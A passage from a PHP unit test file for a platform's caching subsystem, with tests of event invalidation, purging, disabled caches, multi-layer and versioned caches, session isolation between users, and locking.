serialize(cache::now(true) - 60); // Back 60sec in the past to force it to re-invalidate. make_writable_directory(dirname($timefile)); file_put_contents($timefile, $timecont); $this->assertTrue(file_exists($timefile)); $datafile = $CFG->dataroot . "/cache/cachestore_file/default_application/phpunit_eventinvalidationtest/tes-cache/testkey1-$hash.cache"; $datacont = serialize("test data 1"); make_writable_directory(dirname($datafile)); file_put_contents($datafile, $datacont); $this->assertTrue(file_exists($datafile)); // Test 1: Rebuild without the event and test its there. factory::reset(); $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/eventinvalidationtest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'eventinvalidationtest', 'simplekeys' => true, 'simpledata' => true, ]); $cache = cache::make('phpunit', 'eventinvalidationtest'); $this->assertEquals('test data 1', $cache->get('testkey1')); // Test 2: Rebuild and test the invalidation of the event via the invalidation cache. factory::reset(); $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/eventinvalidationtest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'eventinvalidationtest', 'simplekeys' => true, 'simpledata' => true, 'invalidationevents' => [ 'crazyevent', ], ]); $cache = cache::make('phpunit', 'eventinvalidationtest'); $this->assertFalse($cache->get('testkey1')); // Test 3: Verify that an existing lastinvalidation cache file is updated when needed. // Make a new cache class. This should should invalidate testkey2. $cache = cache::make('phpunit', 'eventinvalidationtest'); // Invalidation token should have been reset. $this->assertEquals(cache::get_purge_token(), $cache->get('lastinvalidation')); // Set testkey2 data. $cache->set('testkey2', 'test data 2'); // Backdate the event invalidation time by 30 seconds. $invalidationcache = cache::make('core', 'eventinvalidation'); $invalidationcache->set('crazyevent', ['testkey2' => cache::now() - 30]); // Lastinvalidation should already be cache::now(). $this->assertEquals(cache::get_purge_token(), $cache->get('lastinvalidation')); // Set it to 15 seconds ago so that we know if it changes. $pasttime = cache::now(true) - 15; $cache->set('lastinvalidation', $pasttime); // Make a new cache class. This should not invalidate anything. factory::instance()->reset_cache_instances(); $cache = cache::make('phpunit', 'eventinvalidationtest'); // Lastinvalidation shouldn't change since it was already newer than invalidation event. $this->assertEquals($pasttime, $cache->get('lastinvalidation')); // Now set the event invalidation to newer than the lastinvalidation time. $invalidationcache->set('crazyevent', ['testkey2' => cache::now() - 5]); // Make a new cache class. This should should invalidate testkey2. factory::instance()->reset_cache_instances(); $cache = cache::make('phpunit', 'eventinvalidationtest'); // Lastinvalidation timestamp should have updated to cache::now(). $this->assertEquals(cache::get_purge_token(), $cache->get('lastinvalidation')); // Now simulate a purge_by_event 5 seconds ago. $invalidationcache = cache::make('core', 'eventinvalidation'); $invalidationcache->set('crazyevent', ['purged' => cache::now(true) - 5]); // Set our lastinvalidation timestamp to 15 seconds ago. $cache->set('lastinvalidation', cache::now(true) - 15); // Make a new cache class. This should invalidate the cache. factory::instance()->reset_cache_instances(); $cache = cache::make('phpunit', 'eventinvalidationtest'); // Lastinvalidation timestamp should have updated to cache::now(). $this->assertEquals(cache::get_purge_token(), $cache->get('lastinvalidation')); } /** * Tests application cache event purge */ public function test_application_event_purge(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/eventpurgetest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'eventpurgetest', 'invalidationevents' => [ 'crazyevent', ], ]); $instance->phpunit_add_definition('phpunit/eventpurgetestaccelerated', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'eventpurgetestaccelerated', 'staticacceleration' => true, 'invalidationevents' => [ 'crazyevent', ], ]); $cache = cache::make('phpunit', 'eventpurgetest'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); // Purge the event. helper::purge_by_event('crazyevent'); // Check things have been removed. $this->assertFalse($cache->get('testkey1')); $this->assertFalse($cache->get('testkey2')); // Now test the static acceleration array. $cache = cache::make('phpunit', 'eventpurgetestaccelerated'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); // Purge the event. helper::purge_by_event('crazyevent'); // Check things have been removed. $this->assertFalse($cache->get('testkey1')); $this->assertFalse($cache->get('testkey2')); } /** * Tests session cache event purge */ public function test_session_event_purge(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/eventpurgetest', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'eventpurgetest', 'invalidationevents' => [ 'crazyevent', ], ]); $instance->phpunit_add_definition('phpunit/eventpurgetestaccelerated', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'eventpurgetestaccelerated', 'staticacceleration' => true, 'invalidationevents' => [ 'crazyevent', ], ]); $cache = cache::make('phpunit', 'eventpurgetest'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); // Purge the event. helper::purge_by_event('crazyevent'); // Check things have been removed. $this->assertFalse($cache->get('testkey1')); $this->assertFalse($cache->get('testkey2')); // Now test the static acceleration array. $cache = cache::make('phpunit', 'eventpurgetestaccelerated'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); // Purge the event. helper::purge_by_event('crazyevent'); // Check things have been removed. $this->assertFalse($cache->get('testkey1')); $this->assertFalse($cache->get('testkey2')); } /** * Tests application cache definition purge */ public function test_application_definition_purge(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/definitionpurgetest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'definitionpurgetest', 'invalidationevents' => [ 'crazyevent', ], ]); $cache = cache::make('phpunit', 'definitionpurgetest'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); // Purge the event. helper::purge_by_definition('phpunit', 'definitionpurgetest'); // Check things have been removed. $this->assertFalse($cache->get('testkey1')); $this->assertFalse($cache->get('testkey2')); } /** * Test the use of an alt path. * If we can generate a config instance we are done :) */ public function test_alt_cache_path(): void { global $CFG; if ($this->skip_if_empty_alt_cache_path()) { return; } $this->resetAfterTest(); $CFG->altcacheconfigpath = $CFG->dataroot . '/cache/altcacheconfigpath'; $instance = cache_config_testing::instance(); $this->assertInstanceOf(config::class, $instance); } /** * Test disabling the cache stores. */ public function test_disable_stores(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/disabletest1', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'disabletest1', ]); $instance->phpunit_add_definition('phpunit/disabletest2', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'disabletest2', ]); $instance->phpunit_add_definition('phpunit/disabletest3', [ 'mode' => store::MODE_REQUEST, 'component' => 'phpunit', 'area' => 'disabletest3', ]); $caches = [ 'disabletest1' => cache::make('phpunit', 'disabletest1'), 'disabletest2' => cache::make('phpunit', 'disabletest2'), 'disabletest3' => cache::make('phpunit', 'disabletest3'), ]; $this->assertInstanceOf(cache_phpunit_application::class, $caches['disabletest1']); $this->assertInstanceOf(cache_phpunit_session::class, $caches['disabletest2']); $this->assertInstanceOf(cache_phpunit_request::class, $caches['disabletest3']); $this->assertInstanceOf(cachestore_file::class, $caches['disabletest1']->get_store()); $this->assertInstanceOf(cachestore_session::class, $caches['disabletest2']->get_store()); $this->assertInstanceOf(cachestore_static::class, $caches['disabletest3']->get_store()); foreach ($caches as $cache) { $this->assertFalse($cache->get('test')); $this->assertTrue($cache->set('test', 'test')); $this->assertEquals('test', $cache->get('test')); } factory::disable_stores(); $caches = [ 'disabletest1' => cache::make('phpunit', 'disabletest1'), 'disabletest2' => cache::make('phpunit', 'disabletest2'), 'disabletest3' => cache::make('phpunit', 'disabletest3'), ]; $this->assertInstanceOf(cache_phpunit_application::class, $caches['disabletest1']); $this->assertInstanceOf(cache_phpunit_session::class, $caches['disabletest2']); $this->assertInstanceOf(cache_phpunit_request::class, $caches['disabletest3']); $this->assertInstanceOf(dummy_cachestore::class, $caches['disabletest1']->get_store()); $this->assertInstanceOf(dummy_cachestore::class, $caches['disabletest2']->get_store()); $this->assertInstanceOf(dummy_cachestore::class, $caches['disabletest3']->get_store()); foreach ($caches as $cache) { $this->assertFalse($cache->get('test')); $this->assertTrue($cache->set('test', 'test')); $this->assertEquals('test', $cache->get('test')); } } /** * Test disabling the cache. */ public function test_disable(): void { global $CFG; $this->skip_if_empty_alt_cache_path(); $configfile = $CFG->dataroot . '/muc/config.php'; // The config file will not exist yet as we've not done anything with the cache. // reset_all_data removes the file and without a call to create a configuration it doesn't exist // as yet. $this->assertFileDoesNotExist($configfile); // Disable the cache. cache_phpunit_factory::phpunit_disable(); // Check we get the expected disabled factory. $factory = factory::instance(); $this->assertInstanceOf(disabled_factory::class, $factory); // Check we get the expected disabled config. $config = $factory->create_config_instance(); $this->assertInstanceOf(disabled_config::class, $config); // Check we get the expected disabled caches. $cache = cache::make('core', 'string'); $this->assertInstanceOf(disabled_cache::class, $cache); // Test an application cache. $cache = cache::make_from_params(store::MODE_APPLICATION, 'phpunit', 'disable'); $this->assertInstanceOf(disabled_cache::class, $cache); $this->assertFalse($cache->get('test')); $this->assertFalse($cache->get_versioned('v', 1)); $this->assertFalse($cache->set('test', 'test')); $this->assertFalse($cache->set_versioned('v', 1, 'data')); $this->assertFalse($cache->delete('test')); $this->assertTrue($cache->purge()); // Checking a lock should always report that we have one. // Acquiring or releasing a lock should always report success. $this->assertTrue($cache->check_lock_state('test')); $this->assertTrue($cache->acquire_lock('test')); $this->assertTrue($cache->acquire_lock('test')); $this->assertTrue($cache->check_lock_state('test')); $this->assertTrue($cache->release_lock('test')); $this->assertTrue($cache->release_lock('test')); $this->assertTrue($cache->check_lock_state('test')); // Test a session cache. $cache = cache::make_from_params(store::MODE_SESSION, 'phpunit', 'disable'); $this->assertInstanceOf(disabled_cache::class, $cache); $this->assertFalse($cache->get('test')); $this->assertFalse($cache->get_versioned('v', 1)); $this->assertFalse($cache->set('test', 'test')); $this->assertFalse($cache->set_versioned('v', 1, 'data')); $this->assertFalse($cache->delete('test')); $this->assertTrue($cache->purge()); // Finally test a request cache. $cache = cache::make_from_params(store::MODE_REQUEST, 'phpunit', 'disable'); $this->assertInstanceOf(disabled_cache::class, $cache); $this->assertFalse($cache->get('test')); $this->assertFalse($cache->get_versioned('v', 1)); $this->assertFalse($cache->set('test', 'test')); $this->assertFalse($cache->set_versioned('v', 1, 'data')); $this->assertFalse($cache->delete('test')); $this->assertTrue($cache->purge()); factory::reset(); $factory = factory::instance(true); $config = $factory->create_config_instance(); $this->assertInstanceOf(cache_config_testing::class, $config); } /** * Test that multiple application loaders work ok. */ public function test_multiple_application_loaders(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_file_store('phpunittest1'); $instance->phpunit_add_file_store('phpunittest2'); $instance->phpunit_add_definition('phpunit/multi_loader', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'multi_loader', ]); $instance->phpunit_add_definition_mapping('phpunit/multi_loader', 'phpunittest1', 3); $instance->phpunit_add_definition_mapping('phpunit/multi_loader', 'phpunittest2', 2); $cache = cache::make('phpunit', 'multi_loader'); $this->assertInstanceOf(application_cache::class, $cache); $this->assertFalse($cache->get('test')); $this->assertTrue($cache->set('test', 'test')); $this->assertEquals('test', $cache->get('test')); $this->assertTrue($cache->delete('test')); $this->assertFalse($cache->get('test')); $this->assertTrue($cache->set('test', 'test')); $this->assertTrue($cache->purge()); $this->assertFalse($cache->get('test')); // Test the many commands. $this->assertEquals(3, $cache->set_many(['a' => 'A', 'b' => 'B', 'c' => 'C'])); $result = $cache->get_many(['a', 'b', 'c']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('b', $result); $this->assertArrayHasKey('c', $result); $this->assertEquals('A', $result['a']); $this->assertEquals('B', $result['b']); $this->assertEquals('C', $result['c']); $this->assertEquals($result, $cache->get_many(['a', 'b', 'c'])); $this->assertEquals(2, $cache->delete_many(['a', 'c'])); $result = $cache->get_many(['a', 'b', 'c']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('b', $result); $this->assertArrayHasKey('c', $result); $this->assertFalse($result['a']); $this->assertEquals('B', $result['b']); $this->assertFalse($result['c']); // Test non-recursive deletes. $this->assertTrue($cache->set('test', 'test')); $this->assertSame('test', $cache->get('test')); $this->assertTrue($cache->delete('test', false)); // We should still have it on a deeper loader. $this->assertSame('test', $cache->get('test')); // Test non-recusive with many functions. $this->assertSame(3, $cache->set_many([ 'one' => 'one', 'two' => 'two', 'three' => 'three', ])); $this->assertSame('one', $cache->get('one')); $this->assertSame(['two' => 'two', 'three' => 'three'], $cache->get_many(['two', 'three'])); $this->assertSame(3, $cache->delete_many(['one', 'two', 'three'], false)); $this->assertSame('one', $cache->get('one')); $this->assertSame(['two' => 'two', 'three' => 'three'], $cache->get_many(['two', 'three'])); } /** * Data provider to try using a TTL or non-TTL cache. * * @return array */ public static function ttl_or_not(): array { return [[false], [true]]; } /** * Data provider to try using a TTL or non-TTL cache, and static acceleration or not. * * @return array */ public static function ttl_and_static_acceleration_or_not(): array { return [[false, false], [false, true], [true, false], [true, true]]; } /** * Data provider to try using a TTL or non-TTL cache, and simple data on or off. * * @return array */ public static function ttl_and_simple_data_or_not(): array { // Same values as for ttl and static acceleration (two booleans). return self::ttl_and_static_acceleration_or_not(); } /** * Shared code to set up a two or three-layer versioned cache for testing. * * @param bool $ttl If true, sets TTL in the definition * @param bool $threelayer If true, uses a 3-layer instead of 2-layer cache * @param bool $staticacceleration If true, enables static acceleration * @param bool $simpledata If true, enables simple data * @return application_cache Cache */ protected function create_versioned_cache( bool $ttl, bool $threelayer = false, bool $staticacceleration = false, bool $simpledata = false ): application_cache { $instance = cache_config_testing::instance(); $instance->phpunit_add_file_store('a', false); $instance->phpunit_add_file_store('b', false); if ($threelayer) { $instance->phpunit_add_file_store('c', false); } $defarray = [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'multi_loader', ]; if ($ttl) { $defarray['ttl'] = '600'; } if ($staticacceleration) { $defarray['staticacceleration'] = true; $defarray['staticaccelerationsize'] = 10; } if ($simpledata) { $defarray['simpledata'] = true; } $instance->phpunit_add_definition('phpunit/multi_loader', $defarray, false); $instance->phpunit_add_definition_mapping('phpunit/multi_loader', 'a', 1); $instance->phpunit_add_definition_mapping('phpunit/multi_loader', 'b', 2); if ($threelayer) { $instance->phpunit_add_definition_mapping('phpunit/multi_loader', 'c', 3); } $multicache = cache::make('phpunit', 'multi_loader'); return $multicache; } /** * Tests basic use of versioned cache. * * @dataProvider ttl_and_simple_data_or_not * @param bool $ttl If true, uses a TTL cache. * @param bool $simpledata If true, turns on simple data flag */ public function test_versioned_cache_basic(bool $ttl, bool $simpledata): void { $multicache = $this->create_versioned_cache($ttl, false, false, $simpledata); $this->assertTrue($multicache->set_versioned('game', 1, 'Pooh-sticks')); $result = $multicache->get_versioned('game', 1, IGNORE_MISSING, $actualversion); $this->assertEquals('Pooh-sticks', $result); $this->assertEquals(1, $actualversion); } /** * Tests versioned cache with objects. * * @dataProvider ttl_and_static_acceleration_or_not * @param bool $ttl If true, uses a TTL cache. * @param bool $staticacceleration If true, enables static acceleration */ public function test_versioned_cache_objects(bool $ttl, bool $staticacceleration): void { $multicache = $this->create_versioned_cache($ttl, false, $staticacceleration); // Set an object value. $data = (object)['game' => 'Pooh-sticks']; $this->assertTrue($multicache->set_versioned('game', 1, $data)); // Get it. $result = $multicache->get_versioned('game', 1); $this->assertEquals('Pooh-sticks', $result->game); // Mess about with the value in the returned object. $result->game = 'Tag'; // Get it again and confirm the cached object has not been affected. $result = $multicache->get_versioned('game', 1); $this->assertEquals('Pooh-sticks', $result->game); } /** * Tests requesting a version that doesn't exist. * * @dataProvider ttl_or_not * @param bool $ttl If true, uses a TTL cache. */ public function test_versioned_cache_not_exist(bool $ttl): void { $multicache = $this->create_versioned_cache($ttl); $multicache->set_versioned('game', 1, 'Pooh-sticks'); // Exists but with wrong version. $this->assertFalse($multicache->get_versioned('game', 2)); // Doesn't exist at all. $this->assertFalse($multicache->get_versioned('frog', 0)); } /** * Tests attempts to use get after set_version or get_version after set. * * @dataProvider ttl_or_not * @param bool $ttl If true, uses a TTL cache. */ public function test_versioned_cache_incompatible_versioning(bool $ttl): void { $multicache = $this->create_versioned_cache($ttl); // What if you use get on a get_version cache? $multicache->set_versioned('game', 1, 'Pooh-sticks'); try { $multicache->get('game'); $this->fail(); } catch (coding_exception $e) { $this->assertStringContainsString('Unexpectedly found versioned cache entry', $e->getMessage()); } // Or get_version on a get cache? $multicache->set('toy', 'Train set'); try { $multicache->get_versioned('toy', 1); $this->fail(); } catch (coding_exception $e) { $this->assertStringContainsString('Unexpectedly found non-versioned cache entry', $e->getMessage()); } } /** * Versions are only stored once, so if you set a newer version you will always get it even * if you ask for the lower version number. * * @dataProvider ttl_or_not * @param bool $ttl If true, uses a TTL cache. */ public function test_versioned_cache_single_copy(bool $ttl): void { $multicache = $this->create_versioned_cache($ttl); $multicache->set_versioned('game', 1, 'Pooh-sticks'); $multicache->set_versioned('game', 2, 'Tag'); $this->assertEquals('Tag', $multicache->get_versioned('game', 1, IGNORE_MISSING, $actualversion)); // The reported version number matches the one returned, not requested. $this->assertEquals(2, $actualversion); } /** * If the first (local) store has an outdated copy but the second (shared) store has a newer * one, then it should automatically be retrieved. * * @dataProvider ttl_or_not * @param bool $ttl If true, uses a TTL cache. */ public function test_versioned_cache_outdated_local(bool $ttl): void { $multicache = $this->create_versioned_cache($ttl); // Set initial value to version 2, 'Tag', in both stores. $multicache->set_versioned('game', 2, 'Tag'); // Get the two separate cache stores for the multi-level cache. $factory = factory::instance(); $definition = $factory->create_definition('phpunit', 'multi_loader'); [0 => $storea, 1 => $storeb] = $factory->get_store_instances_in_use($definition); // Simulate what happens if the shared cache is updated with a new version but the // local one still has an old version. $hashgame = helper::hash_key('game', $definition); $data = 'British Bulldog'; if ($ttl) { $data = new \cache_ttl_wrapper($data, 600); } $storeb->set($hashgame, new \core_cache\version_wrapper($data, 3)); // If we ask for the old one we'll get it straight off from local cache. $this->assertEquals('Tag', $multicache->get_versioned('game', 2)); // But if we ask for the new one it will still get it via the shared cache. $this->assertEquals('British Bulldog', $multicache->get_versioned('game', 3)); // Also, now it will have been updated in the local cache as well. $localvalue = $storea->get($hashgame); if ($ttl) { // In case the time has changed slightly since the first set, we can't do an exact // compare, so check it ignoring the time field. $this->assertEquals(3, $localvalue->version); $ttldata = $localvalue->data; $this->assertInstanceOf(ttl_wrapper::class, $ttldata); $this->assertEquals('British Bulldog', $ttldata->data); } else { $this->assertEquals(new \core_cache\version_wrapper('British Bulldog', 3), $localvalue); } } /** * When we request a newer version, older ones are automatically deleted in every level of the * cache (to save I/O if there are multiple requests, as if there is another request it will * not have to retrieve the values to find out that they're old). * * @dataProvider ttl_or_not * @param bool $ttl If true, uses a TTL cache. */ public function test_versioned_cache_deleting_outdated(bool $ttl): void { $multicache = $this->create_versioned_cache($ttl); // Set initial value to version 2, 'Tag', in both stores. $multicache->set_versioned('game', 2, 'Tag'); // Get the two separate cache stores for the multi-level cache. $factory = factory::instance(); $definition = $factory->create_definition('phpunit', 'multi_loader'); [0 => $storea, 1 => $storeb] = $factory->get_store_instances_in_use($definition); // If we request a newer version, then any older version should be deleted in each // cache level. $this->assertFalse($multicache->get_versioned('game', 4)); $hashgame = helper::hash_key('game', $definition); $this->assertFalse($storea->get($hashgame)); $this->assertFalse($storeb->get($hashgame)); } /** * Tests a versioned cache when using static cache. */ public function test_versioned_cache_static(): void { $staticcache = $this->create_versioned_cache(false, false, true); // Set a value in the cache, version 1. This will store it in static acceleration. $staticcache->set_versioned('game', 1, 'Pooh-sticks'); // Get the first cache store (we don't need the second one for this test). $factory = factory::instance(); $definition = $factory->create_definition('phpunit', 'multi_loader'); [0 => $storea] = $factory->get_store_instances_in_use($definition); // Hack a newer version into cache store without directly calling set (now the static // has v1, store has v2). This simulates another client updating the cache. $hashgame = helper::hash_key('game', $definition); $storea->set($hashgame, new \core_cache\version_wrapper('Tag', 2)); // Get the key from the cache, v1. This will use static acceleration. $this->assertEquals('Pooh-sticks', $staticcache->get_versioned('game', 1)); // Now if we ask for a newer version, it should not use the static cached one. $this->assertEquals('Tag', $staticcache->get_versioned('game', 2)); // This get should have updated static acceleration, so it will be used next time without // a store request. $storea->set($hashgame, new \core_cache\version_wrapper('British Bulldog', 3)); $this->assertEquals('Tag', $staticcache->get_versioned('game', 2)); // Requesting the higher version will get rid of static acceleration again. $this->assertEquals('British Bulldog', $staticcache->get_versioned('game', 3)); // Finally ask for a version that doesn't exist anywhere, just to confirm it returns null. $this->assertFalse($staticcache->get_versioned('game', 4)); } /** * Tests basic use of 3-layer versioned caches. */ public function test_versioned_cache_3_layers_basic(): void { $multicache = $this->create_versioned_cache(false, true); // Basic use of set_versioned and get_versioned. $multicache->set_versioned('game', 1, 'Pooh-sticks'); $this->assertEquals('Pooh-sticks', $multicache->get_versioned('game', 1)); // What if you ask for a version that doesn't exist? $this->assertFalse($multicache->get_versioned('game', 2)); // Setting a new version wipes out the old version; if you request it, you get the new one. $multicache->set_versioned('game', 2, 'Tag'); $this->assertEquals('Tag', $multicache->get_versioned('game', 1)); } /** * Tests use of 3-layer versioned caches where the 3 layers currently have different versions. */ public function test_versioned_cache_3_layers_different_data(): void { // Set version 2 using normal method. $multicache = $this->create_versioned_cache(false, true); $multicache->set_versioned('game', 2, 'Tag'); // Get the three separate cache stores for the multi-level cache. $factory = factory::instance(); $definition = $factory->create_definition('phpunit', 'multi_loader'); [0 => $storea, 1 => $storeb, 2 => $storec] = $factory->get_store_instances_in_use($definition); // Set up two other versions so every level has a different version. $hashgame = helper::hash_key('game', $definition); $storeb->set($hashgame, new \core_cache\version_wrapper('British Bulldog', 3)); $storec->set($hashgame, new \core_cache\version_wrapper('Hopscotch', 4)); // First request can be satisfied from A; second request requires B... $this->assertEquals('Tag', $multicache->get_versioned('game', 2)); $this->assertEquals('British Bulldog', $multicache->get_versioned('game', 3)); // And should update the data in A. $this->assertEquals(new \core_cache\version_wrapper('British Bulldog', 3), $storea->get($hashgame)); $this->assertEquals('British Bulldog', $multicache->get_versioned('game', 1)); // But newer data should still be in C. $this->assertEquals('Hopscotch', $multicache->get_versioned('game', 4)); // Now it's stored in A and B too. $this->assertEquals(new \core_cache\version_wrapper('Hopscotch', 4), $storea->get($hashgame)); $this->assertEquals(new \core_cache\version_wrapper('Hopscotch', 4), $storeb->get($hashgame)); } /** * Test that multiple application loaders work ok. */ public function test_multiple_session_loaders(): void { /* @var \cache_config_testing $instance */ $instance = cache_config_testing::instance(); $instance->phpunit_add_session_store('phpunittest1'); $instance->phpunit_add_session_store('phpunittest2'); $instance->phpunit_add_definition('phpunit/multi_loader', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'multi_loader', ]); $instance->phpunit_add_definition_mapping('phpunit/multi_loader', 'phpunittest1', 3); $instance->phpunit_add_definition_mapping('phpunit/multi_loader', 'phpunittest2', 2); $cache = cache::make('phpunit', 'multi_loader'); $this->assertInstanceOf(session_cache::class, $cache); $this->assertFalse($cache->get('test')); $this->assertTrue($cache->set('test', 'test')); $this->assertEquals('test', $cache->get('test')); $this->assertTrue($cache->delete('test')); $this->assertFalse($cache->get('test')); $this->assertTrue($cache->set('test', 'test')); $this->assertTrue($cache->purge()); $this->assertFalse($cache->get('test')); // Test the many commands. $this->assertEquals(3, $cache->set_many(['a' => 'A', 'b' => 'B', 'c' => 'C'])); $result = $cache->get_many(['a', 'b', 'c']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('b', $result); $this->assertArrayHasKey('c', $result); $this->assertEquals('A', $result['a']); $this->assertEquals('B', $result['b']); $this->assertEquals('C', $result['c']); $this->assertEquals($result, $cache->get_many(['a', 'b', 'c'])); $this->assertEquals(2, $cache->delete_many(['a', 'c'])); $result = $cache->get_many(['a', 'b', 'c']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('b', $result); $this->assertArrayHasKey('c', $result); $this->assertFalse($result['a']); $this->assertEquals('B', $result['b']); $this->assertFalse($result['c']); // Test non-recursive deletes. $this->assertTrue($cache->set('test', 'test')); $this->assertSame('test', $cache->get('test')); $this->assertTrue($cache->delete('test', false)); // We should still have it on a deeper loader. $this->assertSame('test', $cache->get('test')); // Test non-recusive with many functions. $this->assertSame(3, $cache->set_many([ 'one' => 'one', 'two' => 'two', 'three' => 'three', ])); $this->assertSame('one', $cache->get('one')); $this->assertSame(['two' => 'two', 'three' => 'three'], $cache->get_many(['two', 'three'])); $this->assertSame(3, $cache->delete_many(['one', 'two', 'three'], false)); $this->assertSame('one', $cache->get('one')); $this->assertSame(['two' => 'two', 'three' => 'three'], $cache->get_many(['two', 'three'])); } /** * Test switching users with session caches. */ public function test_session_cache_switch_user(): void { $this->resetAfterTest(true); $cache = cache::make_from_params(store::MODE_SESSION, 'phpunit', 'sessioncache'); $user1 = $this->getDataGenerator()->create_user(); $user2 = $this->getDataGenerator()->create_user(); // Log in as the first user. $this->setUser($user1); $sesskey1 = sesskey(); // Set a basic value in the cache. $cache->set('var', 1); $this->assertTrue($cache->has('var')); $this->assertEquals(1, $cache->get('var')); // Change to the second user. $this->setUser($user2); $sesskey2 = sesskey(); // Make sure the cache doesn't give us the data for the last user. $this->assertNotEquals($sesskey1, $sesskey2); $this->assertFalse($cache->has('var')); $this->assertEquals(false, $cache->get('var')); } /** * Test switching users with session caches. */ public function test_session_cache_switch_user_application_mapping(): void { $this->resetAfterTest(true); $instance = cache_config_testing::instance(); $instance->phpunit_add_file_store('testfilestore'); $instance->phpunit_add_definition('phpunit/testappsession', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'testappsession', ]); $instance->phpunit_add_definition_mapping('phpunit/testappsession', 'testfilestore', 3); $cache = cache::make('phpunit', 'testappsession'); $user1 = $this->getDataGenerator()->create_user(); $user2 = $this->getDataGenerator()->create_user(); // Log in as the first user. $this->setUser($user1); $sesskey1 = sesskey(); // Set a basic value in the cache. $cache->set('var', 1); $this->assertTrue($cache->has('var')); $this->assertEquals(1, $cache->get('var')); // Change to the second user. $this->setUser($user2); $sesskey2 = sesskey(); // Make sure the cache doesn't give us the data for the last user. $this->assertNotEquals($sesskey1, $sesskey2); $this->assertFalse($cache->has('var')); $this->assertEquals(false, $cache->get('var')); } /** * Test two session caches being used at once to confirm collisions don't occur. */ public function test_dual_session_caches(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/testsess1', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'testsess1', ]); $instance->phpunit_add_definition('phpunit/testsess2', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'testsess2', ]); $cache1 = cache::make('phpunit', 'testsess1'); $cache2 = cache::make('phpunit', 'testsess2'); $this->assertFalse($cache1->has('test')); $this->assertFalse($cache2->has('test')); $this->assertTrue($cache1->set('test', '1')); $this->assertTrue($cache1->has('test')); $this->assertFalse($cache2->has('test')); $this->assertTrue($cache2->set('test', '2')); $this->assertEquals(1, $cache1->get('test')); $this->assertEquals(2, $cache2->get('test')); $this->assertTrue($cache1->delete('test')); } /** * Test multiple session caches when switching user. */ public function test_session_cache_switch_user_multiple(): void { $this->resetAfterTest(true); $cache1 = cache::make_from_params(store::MODE_SESSION, 'phpunit', 'sessioncache1'); $cache2 = cache::make_from_params(store::MODE_SESSION, 'phpunit', 'sessioncache2'); $user1 = $this->getDataGenerator()->create_user(); $user2 = $this->getDataGenerator()->create_user(); // Log in as the first user. $this->setUser($user1); $sesskey1 = sesskey(); // Set a basic value in the caches. $cache1->set('var', 1); $cache2->set('var', 2); $this->assertEquals(1, $cache1->get('var')); $this->assertEquals(2, $cache2->get('var')); // Change to the second user. $this->setUser($user2); $sesskey2 = sesskey(); // Make sure the cache doesn't give us the data for the last user. // Also make sure that switching the user has lead to both caches being purged. $this->assertNotEquals($sesskey1, $sesskey2); $this->assertEquals(false, $cache1->get('var')); $this->assertEquals(false, $cache2->get('var')); } /** * The application locking feature should work with caches that support multiple identifiers * (static cache and MongoDB with a specific setting). */ public function test_application_locking_multiple_identifier_cache(): void { // Get an arbitrary definition (modinfo). $instance = cache_config_testing::instance(); $definitions = $instance->get_definitions(); $definition = definition::load('phpunit', $definitions['core/coursemodinfo']); // Set up a static cache using that definition, wrapped in application_cache so we can do // locking. $store = new \cachestore_static('test'); $store->initialise($definition); $cache = new application_cache($definition, $store); // Test the three locking functions. $cache->acquire_lock('frog'); $this->assertTrue($cache->check_lock_state('frog')); $cache->release_lock('frog'); } /** * Test requiring a lock before attempting to set a key. */ public function test_application_locking_before_write(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/test_application_locking', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' 